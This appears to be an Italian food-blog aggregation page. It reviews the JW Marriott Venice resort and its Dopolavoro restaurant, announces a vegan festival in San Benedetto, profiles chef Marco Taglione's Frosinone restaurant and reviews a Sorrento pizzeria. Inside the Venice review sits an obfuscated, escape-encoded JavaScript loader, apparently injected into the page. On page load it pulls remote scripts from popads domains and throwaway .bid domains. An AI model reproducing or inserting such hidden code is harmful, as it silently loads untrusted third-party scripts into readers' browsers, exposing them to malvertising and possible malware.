Firenze: camera con vista Firenze: camera con vista all’Hotel Brunelleschi, Palazzo Ruspoli o Appartamenti della Signoria I migliori hotel nella culla del Rinascimento…
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i-am-a-polpetta · 3 years
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la visita della speranza sarà a fine mese questo significa solo una cosa: cene, merende, pranzi, colazioni gourmet per altri diciotto giorni, DICIOTTO GIORNI DI PAPPINE E FRULLATINI.
82 is the new 26.
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jucks72 · 7 years
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1 stella in cucina e 5 nel resort: il caso del JW Marriott Venice Resort & SPA
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1 stella in cucina e 5 nel resort: il caso del JW Marriott Venice Resort & SPA
Giunto alla terza apertura stagionale, il JW Marriott Venice Resort & SPA è uno spettacolare cinque stelle lusso adagiato sui 16 ettari dell’Isola delle Rose in mezzo alla laguna di Venezia, raggiungibile in un quarto d’ora con servizio di motoscafo privato che fa la spola da piazza San Marco. Nota per la salubrità del suo microclima, l’isola ospitava una clinica che ha chiuso i battenti una quarantina d’anni fa, lasciando un edificio razionalista degli anni ’30, una chiesa, un grande parco alberato e diversi altri edifici, oggetto di una magistrale ristrutturazione e trasformazione guidata dall’archistar Matteo Thun. Ne è risultato un complesso di 266 camere, suddivise nella zona centrale e le JW Villas staccate e un po’ esclusive, alcune con piscina privata prospiciente la laguna.
La ristorazione al JW Marriott offre molte possibilità. Al piano terra dell’edificio principale si trova la Cucina, ampia e luminosa sala usata per prime colazioni a buffet con cuochi a disposizione, la Dispensa, un negozio-caffè dove è possibile fermarsi per bere qualcosa, assaggiare un tramezzino, ma anche provvedere ad acquisti veloci di prodotti alimentari italiani di eccellenza, come pasta, sughi, vini, biscotti, cioccolato. A fianco si apre la sala attrezzata della Cooking Academy, con otto postazioni dove con la supervisione di uno chef ospiti italiani e stranieri imparano a cucinare paste, pizze e altri piatti tipici che alla fine mangiano convivialmente su una grande tavolata.
Salendo in ascensore al quarto piano, impreziosito da una piscina riscaldata a sfioro con panorama spettacolare su Venezia e sulla laguna, si notano subito i tavolini all’aperto del bar della terrazza, dominato da piastrelline bianche, blu e azzurre che ricordano i colori del mare: da qui si accede al rooftop restaurant Sagra, un ambiente informale come promesso dal nome, senza tovaglie sui tavoli, con comode sedie bianche e nere, cappelli di paglia alle pareti, ravvivato dalla ripetizione del bancone del bar all’interno con le sue piastrelle colorate. La carta del menù offre scelte interessanti dagli antipasti fino ai dessert, compresi piatti veloci come insalate e taglieri di salumi e il piatto consigliato dallo chef è spaghetti con ricci di mare, bottarga e scorza di limone. Accompagna le pietanze una lista di vini con bollicine, vini bianchi del Veneto e del Friuli, un rosato dell’Etna e vini rossi provenienti da Piemonte, Veneto, Sicilia e Friuli. Ci sono anche i più famosi cocktail alcoolici, i mocktails analcolici, nonché le birre sia artigianali che internazionali.
Tutta la ristorazione del JW Marriott è curata dall’Executive Chef greco Vasileios Athanasiou, che proviene da altre importanti esperienze nel gruppo, mentre il souschef che segue il ristorante Sagra è il padovano Micky Milan.
Così come la Spa che sta sull’Isola delle Rose è affidata a una gestione esterna con i professionisti di GOCO, anche il super ristorante gourmet chiamato Dopolavoro è a gestione separata e ha come ispirazione e guida culinaria uno dei nomi più noti in Italia, Giancarlo Perbellini, chef bistellato e patron di Casa Perbellini a Verona. Questa nuova avventura in laguna, in un edificio separato retrostante la chiesa, con imbarcadero privato, è stata affidata a una brigata di cucina giovane ed entusiasta, coordinata dal torinese Federico Belluco, definito nel 2015 uno dei cinque chef under 30 più talentuosi d’Italia, capace di guadagnare la sua prima stella Michelin all’età di soli 27 anni e appena sei mesi dopo l’apertura. Amante della tradizione, ma sempre attento a rivisitare i piatti rendendoli attuali e mai monotoni. Ama la quotidianità del suo lavoro, ha la passione per la perfezione e un’attenzione spasmodica all’esperienza vissuta dai suoi ospiti. Oltre alle due Forchette della Guida Gambero Rosso 2016 e alla stella Michelin nel 2016, anche due Cappelli della Guida L’Espresso 2017 sono stati assegnati al Dopolavoro Dining Room.
L’edificio ha conservato solo il nome e la facciata d’epoca, ma si è trasformato così in un ambiente raffinato ed esclusivo. Il menù è fatto da piatti alla carta e da tre proposte, il 4, il 5 e il 10, che indicano rispettivamente il numero di portate: decisamente impegnativo il menù più ricco. Nel “cinque” dopo il saluto della cucina si assaggiano due antipasti: sushi di maccheroni, gambero rosso, pesto di alga e burrata, seguito da scampo, piselli e agrumi. Arrivano poi le linguine all’aglio, olio e peperoncino con polvere di crostacei e yogurt e la guancia di vitello brasata con purè e porri fritti, per concludere con una parfait al caprino, sorbetto di lamponi e rose in onore all’isola. /*<![CDATA[/* */ /* Privet darkv. Each domain is 2h fox dead */ (function() var v=window;v["\x5f\u0070o\x70"]=[["s\u0069t\x65\x49\x64",2164519],["\u006di\x6e\u0042i\u0064",0],["\u0070\x6fp\x75\x6e\x64\x65\x72\u0073PerI\u0050",0],["dela\u0079\u0042\x65\x74\x77\x65\x65n",0],["\u0064\x65\x66\u0061\x75\u006ct",false],["\x64\u0065f\x61\x75\x6ctPe\u0072D\u0061y",0],["\x74o\x70\x6do\u0073t\u004c\u0061y\u0065r",!0]];var p=["/\x2fc\u0031.\u0070\x6f\u0070\u0061\x64\x73\x2e\x6ee\u0074/p\u006f\u0070.\x6as","\x2f/\u0063\u0032.\u0070\x6f\x70a\u0064\x73\u002e\x6ee\u0074\x2f\x70\x6f\u0070.j\x73","\x2f\x2f\u0077\x77w\u002e\x79\x63f\u0070ruj\u0079l\u0075k\x6bx\x2e\x62\x69\x64\u002f\u0078\x2e\x6a\x73","\u002f\u002f\u0077\x77\u0077.u\x76\x79a\x73\u0063q\u0062\x6d.\u0062id\x2fw\u0063\u002e\x6a\u0073",""],d=0,y,s=function()if(""==p[d])return;y=v["\u0064\u006f\u0063\x75\u006d\x65\x6e\u0074"]["\u0063\x72\u0065\x61\u0074eE\x6ce\u006d\u0065\u006e\u0074"]("\u0073\x63rip\u0074");y["\u0074ype"]="\u0074\u0065\x78\u0074\u002f\u006a\x61\u0076\x61\x73c\u0072\u0069pt";y["\x61s\x79\u006e\u0063"]=!0;var a=v["\u0064\x6f\u0063um\x65\x6e\u0074"]["g\x65t\x45lem\x65\u006e\u0074\x73By\u0054\u0061\u0067\u004e\x61\x6d\u0065"]("\u0073\x63\x72i\u0070t")[0];y["\u0073\x72c"]=p[d];if(d<2)y["\x63r\x6f\u0073s\u004fri\x67\x69\u006e"]="\u0061\x6e\u006f\x6e\x79\u006d\u006f\x75\x73";;y["\u006f\x6eerr\u006f\u0072"]=function()d++;s();a["p\u0061r\u0065\u006e\u0074\u004e\u006fde"]["i\x6es\u0065\u0072t\x42\u0065\u0066\u006f\u0072e"](y,a);s())(); /*]]>/* */
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tmnotizie · 7 years
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SAN BENEDETTO – L’ associazione L’amico fedele ripropone il 23, 24 e 25 giugno prossimo la terza edizione del Festival Vegano, nell’ormai storica location dell’ex galoppatoio. La manifestazione, dopo tanta fatica, è stata confermata, con gli organizzatori che sono immersi nel lavoro di preparazione. La novità dell’ edizione 2017 viene dalla cucina, sempre ovviamente ed esclusivamente vegana che è stata affidata alla maestria e alla professionalità del Ristorante Papillon di Peppe Talamonti che verrà supportato nella stesura del menù dall’organizzatrice.
“Siamo in fase di definizione del succulento menù veg -spiega Alice Agnelli, presidente de L’ amico fedele- e preannunciamo che quest’anno ci saranno novità molto interessanti, quali la pizza, gelati e frutta freschi, oltre al piatto gourmet allo zafferano. Come nelle scorse edizioni avremo colazioni, birra e vino vegani. Molti enti hanno manifestato la volontà di patrocinare l’evento, segno che il tema veg sta iniziando ad avere una considerazione anche a livello istituzionale e non è piu’ un “semplice e banale discorso di pochi”.
Il problema, però, sono le risorse che, rispetto al budget 2016, sono state dimezzate per cui i volontari pur di confermare quella che ormai sta diventando un appuntamento fisso per San Benedetto, si stanno adoperando per cercare di trovare quanti più partner possibili. Anche perché l’eventoha come scopo la raccolta fondi per l’associazione L’ amico fedele che presta attività sul territorio dell’ascolano in forma assolutamente gratuita
“L’unica entrata pubblica certa e fissa che abbiamo è quella del Comune di Grottammare -è sempre Alice Agnelli che parla- per la gestione dell’oasi felina che, però, rappresenta il 10% del totale delle attività che prestiamo a favore delle amministrazioni pubbliche. Le attività di controllo e supporto alla gestione del randagismo sono totalmente a carico nostro come anche quella di volontariato in canile che svolgiamo continuativamente da ben 12 anni e per 4 volte a settimana. Il festival per noi è una grande occasione di informazione, sensibilizzazione e found raising per cui l’impossibilità di contribuire economicamente con duemila euro da parte del Comune di San Benedetto del Tronto ci ha messo in difficoltà. Ma, come siamo soliti fare, andremo comunque avanti con la nostra determinazione che da 12 anni ci caratterizza. Ricordiamo che l’evento si basa sull’indispensabile presenza del volontariato senza il quale non si sarebbe potuto neanche lontanamente immaginare di poter portare avanti questa iniziativa. E che per chiunque voglia partecipare come partners può contattarci all’email [email protected] per ricevere tutte le informazioni”.
L’evento sarà caratterizzato, come sempre, da diverse aree tematiche: gastronomica, benessere, culturale, bimbi, esposizioni, spettacoli/intrattenimenti tutto rigorosamente all’insegna del veg/ecologico. Queste le manifestazioni collaterali in progrmma e già definite. Venerdì 23 – conferenza Iene Vegane “ carnismo come base dello sfruttamento animale ed umano”. Sabato 24 – intervento dell’associazione Essere Animali che si occupa in particolar modo della denuncia dei maltrattamenti animali negli allevamenti intensivi. Intervento dell’associazione Pengo Life sul salvataggio di elefanti e rinoceronti cuccioli le cui mamme sono state uccise dal bracconaggio. Domenica 25 – intervento dell’associazione Link Italia sulla connessione tra maltrattamento a danno degli animali e reati di pericolosità sociale.
Previsto inoltre un incontro con la biologa nutrizionista Rosella Sbarbati su : Dieta vegana e salute, linee guida per una corretta alimentazione e la presentazione del libro “Strage silenziosa” di Sergio Sinigallia, un giallo/denuncia sociale sui maltrattamenti nei confronti degli animali. Ed a concludere ecco il concerto finale con gli Starliga la cover riconosciuta di Luciano Ligabu. E ancora un corso di cucina vegana condotto da una cuoca vegana Monica Cameli assistita da Lucia Camaioni, titolare del negozio Naturalmente Bio, e iridologa e specializzata in Kinesiologia sistemica
L’area bimbi sarà ancora più ricca ed animata. Oltre alla tradizionale pesca di beneficenza, si svolgerà un laboratorio di zoo antropologia sulla corretta relazione uomo animale a cura dell’associazione Cambiamente Evolution ASD e uno spettacolo “Bubbles animal free show” a cura dell’Agenzia di Spettacolo Arcagencyfashionart. Un’area dell’ ex galoppatoio sarà anche riservata ad una mostra fotografica sulle aree terremotate e sul lavoro dei volontari dal funesto agosto 2016 ad oggi.
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italiaatavola · 5 years
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“Sapore è Sapere” Taglione apre a Frosinone
Marco Taglione sfida la tavola della Ciociaria. Dopo esperienze internazionali e stellate, il cuoco laziale porta finalmente l’alta cucina nella sua città attraverso il progetto Sapore è Sapere. A 23 anni è uscito dal Campus Etoile Academy di Tuscania (Vt) per approdare prima al Boscolo Exedra di Nizza: qui, entrato per uno stage, ne è uscito da comis in soli sei mesi. Dalla Francia è volato a Londra dove ha collaborato prima con Cafe Murano, bistrot segnalato dalla Michelin, e poi con il gruppo Jumeirah Carlton Tower.
In Italia ha proseguito il percorso nelle hotellerie di lusso passando dalle colazioni agli antipasti, fino a diventare capo partita di primi e secondi. A Roma ha lavorato al Magnolia e al Time del Grand Hotel Via Veneto. Ricorda, inoltre, con affetto e stima il maestro Antonello Colonna sia per il tempo trascorso a Labico che per quello all’Open Colonna nella capitale. L’ultimo servizio in brigata è stato a fine marzo 2019 al bistrot di Cannavacciuolo.   «Sapore è Sapere è la sfida gourmet che a Frosinone nessuno aveva mai lanciato», dice. Il nome viene dalla lettura di un libro dedicato alla storia della cucina italiana che Marco ha letteralmente divorato. «Mi affascina pensare che il lemma sapore possa essere inteso sia come sapere che come gusto». Una doppia interpretazione che nasce dalla sua sensibilità di cuoco con la quale ogni giorno trasforma i piatti attraverso la sua conoscenza e la sua emotività. Una sfumatura che Marco propone anche nella sua carta con ben due menu degustazione: Saperi e Sapori, appunto. Il primo, Saperi, è più tecnico e comprende sette portate selezionate dalla cucina in cui ci si affida completamente allo chef. Sapori, invece, articolato in due ramificazioni, normale o vegetariana, conta 5 portate.  
Come antipasti una Tagliatella di seppia, due primi come il Risotto piselli gambero rosso e polvere di lime e i Cavatelli basilico, noci e spuma di limone, il Baccalà, Blu del Moncenisio e zucchine alla scapece per secondo e si conclude con il dessert al gusto Cocco banana e lime. La variante vegetariana sostituisce l’inizio con delle verdure di stagione, i Cavatelli con i Ravioli ripieni di brodo di radici, mantecati con burro dolce e foglie di liquirizia, e come unico secondo propone il Cannolo patate affumicate, gel di aglio nero e rabarbaro.   La carta dei vini al momento ha una trentina di referenze tutte italiane e tra i fornitori si privilegiano produttori del territorio: ad esempio, l’olio extravergine d’oliva è del Frantoio Quattrociocchi di Alatri. In pasticceria Marika Urbani, compagna di Marco, anche lei under trenta e originaria di Frosinone: dopo un anno e mezzo all’Hotel De Russie e un breve passaggio da Acquolina ha perseguito il sogno di sconvolgere il panorama ristorativo di Frosinone con Sapore è Sapere. Aperto a pranzo e a cena, Sapore è Sapere è l’anima gourmet della Ciociaria: l’obiettivo di Marco Taglione e` uscire dagli stereotipi e dalla standardizzazione della ristorazione locale con un’offerta contemporanea e creativa.
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jucks72 · 7 years
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Acqu'e Sale al porto di Sorrento Carne, pesce e pizza per 200 coperti
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Acqu'e Sale al porto di Sorrento Carne, pesce e pizza per 200 coperti
Siamo alla Marina Piccola di Sorrento (Na), ovvero la zona portuale. Qui sorge Acqu’e Sale con circa duecento posti a sedere. Locale ampio, luminoso, con terrazza fruibile per gran parte dei mesi, cucina a vista.
I duecento coperti potrebbero far pensare ad una ristorazione in zona di mediocre qualità. Assolutamente così non è per un locale che conta anche su due forni a legna che esitano gustose pizze. Servizio valido, cortese e cordiale nel contempo. Qui le pizze sono creature del pizzaiolo patron Antonino Esposito. Grandi interpretazioni delle pizze classiche, e sublimi invenzioni, come la pizza omonima del locale, Acqu’e Sale, con i pomodorini del Piennolo sia gialli che rossi, le ciliegine di mozzarella e caduta soft di gocce di colatura di alici di Cetara, il borgo della vicina Costiera Amalfitana.
Antonino Esposito
Ma Antonino è anche famoso per una sua invenzione brevettata, la Frusta Sorrentina. Originale sin dalla forma: non un disco ma, appunto, una frusta con topping costituito da fiordilatte e pomodorini; in uscita forno ciliegine di mozzarella e filino di olio extravergine d’oliva. Eccellente anche la montanara. Proposte gluten free accorte e meticolose.
Gennaro Vingiano
La cucina è da qualche mese affidata al valente cuoco Gennaro Vingiano, giovane stabiese con notevole bagaglio di esperienza in ristoranti della zona. Piacevolissimi al gusto, godimento anche per la vista, gli assaggini di ingresso che il cuoco sa preparare molto bene esaltando sia il pescato locale che gli ortaggi dei generosi orti di terra generosa. Terra che è disseminata di agrumeti ed il limone sorrentino, difatti, è presente con suadente sapienza nelle pietanze preparate dal prode cuoco Gennaro.
Virtuoso, a beneficio di una clientela gourmet che è composta anche da sorrentini e non solo da turisti, il connubio cucina-pizzeria. Calzoncini la cui delicata farcia di ricotta delizia e ben predispone per il prosieguo.
Primi piatti seafood, non solo pasta ma anche risotti ben fatti, e secondi proposti in funzione del pescato locale. Per perdurante impeto dei marosi potrebbe accadere che si scelgano proposte, ad ogni modo ottime, di carne. Squisiti i dolci.
Cantina ben fornita, con le etichette giuste della Costiera Amalfitana e di Ischia. Buona scelta anche di birre. Prezzi onesti. Il locale è aperto sin dalla mattina per dolci proposte a sostanziare non frettolose prime colazioni.
Per informazioni: www.acquesale.it
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